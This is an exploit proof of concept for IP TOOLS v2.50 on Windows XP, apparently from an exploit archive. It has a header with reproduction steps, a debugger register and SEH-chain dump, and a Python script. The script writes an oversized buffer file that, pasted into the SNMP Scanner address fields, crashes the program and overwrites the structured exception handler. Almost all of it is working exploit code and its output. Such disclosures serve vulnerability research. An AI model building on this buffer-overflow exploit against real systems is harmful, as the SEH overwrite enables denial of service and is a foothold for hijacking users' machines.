65 lines
No EOL
2.3 KiB
Python
Executable file
65 lines
No EOL
2.3 KiB
Python
Executable file
# Exploit Title: IP TOOLS v2.50 - Denial of Service (PoC) and SEH overwritten Crash PoC
|
|
# Discovery by: Rafael Pedrero
|
|
# Discovery Date: 2018-12-20
|
|
# Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm
|
|
# Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm / https://web.archive.org/web/20070322163021/http://hostmonitor.biz:80/download/ip-tools.exe
|
|
# Tested Version: 2.50
|
|
# Tested on: Windows XP SP3
|
|
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
|
|
|
# Steps to Produce the Crash:
|
|
# 1.- Run IP-Tools.exe
|
|
# 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to clipboard
|
|
# 3.- Paste the content into the field: 'From Addr' and 'To Addr'
|
|
# 4.- Click 'Start' button and you will see a crash.
|
|
|
|
|
|
'''
|
|
SEH chain of main thread
|
|
Address SE handler
|
|
0012F4B4 43434343
|
|
42424242 *** CORRUPT ENTRY ***
|
|
|
|
|
|
|
|
EAX 0012F4CC
|
|
ECX 00000000
|
|
EDX 44444444
|
|
EBX 0012F4CC
|
|
ESP 0012E490
|
|
EBP 0012F4DC ASCII
|
|
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
|
ESI 0012E4A4 ASCII
|
|
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
EDI 02256720 ASCII
|
|
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
EIP 00403F70 IP-TOOLS.00403F70
|
|
C 0 ES 0023 32bit 0(FFFFFFFF)
|
|
P 1 CS 001B 32bit 0(FFFFFFFF)
|
|
A 0 SS 0023 32bit 0(FFFFFFFF)
|
|
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
|
S 0 FS 003B 32bit 7FFDD000(FFF)
|
|
T 0 GS 0000 NULL
|
|
D 0
|
|
O 0 LastErr ERROR_SUCCESS (00000000)
|
|
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
|
|
ST0 empty
|
|
ST1 empty
|
|
ST2 empty
|
|
ST3 empty
|
|
ST4 empty
|
|
ST5 empty
|
|
ST6 empty
|
|
ST7 empty
|
|
3 2 1 0 E S P U O Z D I
|
|
FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT)
|
|
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
|
|
'''
|
|
|
|
#!/usr/bin/env python
|
|
|
|
junk = "\x41" * 4112
|
|
crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8)
|
|
f = open ("IPTools_Crash.txt", "w")
|
|
f.write(crash)
|
|
f.close() |